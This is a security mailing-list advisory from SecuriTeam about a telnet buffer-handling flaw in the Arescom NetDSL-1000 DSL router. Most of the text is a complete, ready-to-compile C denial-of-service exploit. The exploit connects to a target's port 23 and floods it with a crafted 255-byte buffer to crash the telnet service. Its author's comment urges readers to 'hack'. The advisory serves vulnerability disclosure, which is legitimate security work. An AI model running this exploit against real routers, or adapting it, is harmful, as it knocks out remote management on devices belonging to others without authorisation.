[EXPL] Arescom NetDSL-1000 TelnetD DoS (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Arescom NetDSL-1000 TelnetD DoS (Exploit)
------------------------------------------------------------------------


SUMMARY

"The <http://www.arescom.com/> Arescom NetDSL-1000 series of DSL routers
is in common use by a number of DSL providers."

Arescom NetDSL-1000 leaves the telnet port open. Improper buffer handling
allows attackers to DoS the Router and crash the service.

DETAILS

Vulnerable Systems:
* Arescom NetDSL-1000

Exploit:
/*
Do you want to hack? les`t go .. free your mind
Tu veux etre un hacker? allez .. if faut libere ta tete!
Quieres hackear? dale .. libera tu mente

Vulnerabilidad en modem Arescom NetDSL-1000
por un buffer overflow debido < [255] en la pila stack.

DoS atack por Fabian Ramirez S. <framirez at akori.fr>
www.framirez.com


If you flood the telnet configuration a couple dozen times with
long
strings, eventually the telnetd service flat out dies. Routing
functions
of the NetDSL continue to work fine as before. It is unknown
whether only
the telnetd service is affected, other means of remote
configuration may
have become unavailable as well.

Remember: KING

Solo para fines educativos! (CREEEEEEO ZEEEEEEEEEEE)
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 23
#define MAXDATASIZE 100

char shellcode[]= "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1";

int main(int argc, char *argv[])
{
int fd, numbytes,i;
char buf[MAXDATASIZE];
struct hostent *he;
struct sockaddr_in server;

printf("Exploit Arescom NetDSL-1000 executing\n");
printf (" by framirez\n");

if (argc !=2) {
printf("Uso: %s <Direcci n IP>\n",argv[0]);
exit(-1);
}



if ((he=gethostbyname(argv[1]))==NULL){
printf("gethostbyname() error\n");
exit(-1);
}

if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1){
printf("socket() error\n");
exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(PORT);
server.sin_addr = *((struct in_addr *)he->h_addr);

if(connect(fd, (struct sockaddr *)&server,
sizeof(struct sockaddr))==-1){
printf("ERROR conectando al host\n");
exit(-1);
}

for (i=0;i<3;i++)
{
send(fd,shellcode,255,0);
}

printf ("Exploit enviado con EXITO al destinatario\n");
printf (" by framirez\n");

close(fd);

return 1;
}

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by <mailto:framirez@xxxxxxxx> Fabian
Ramirez S.
The advisory can be found at:
<http://www.securiteam.com/securitynews/5SP0G2A6AM.html>
http://www.securiteam.com/securitynews/5SP0G2A6AM.html



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages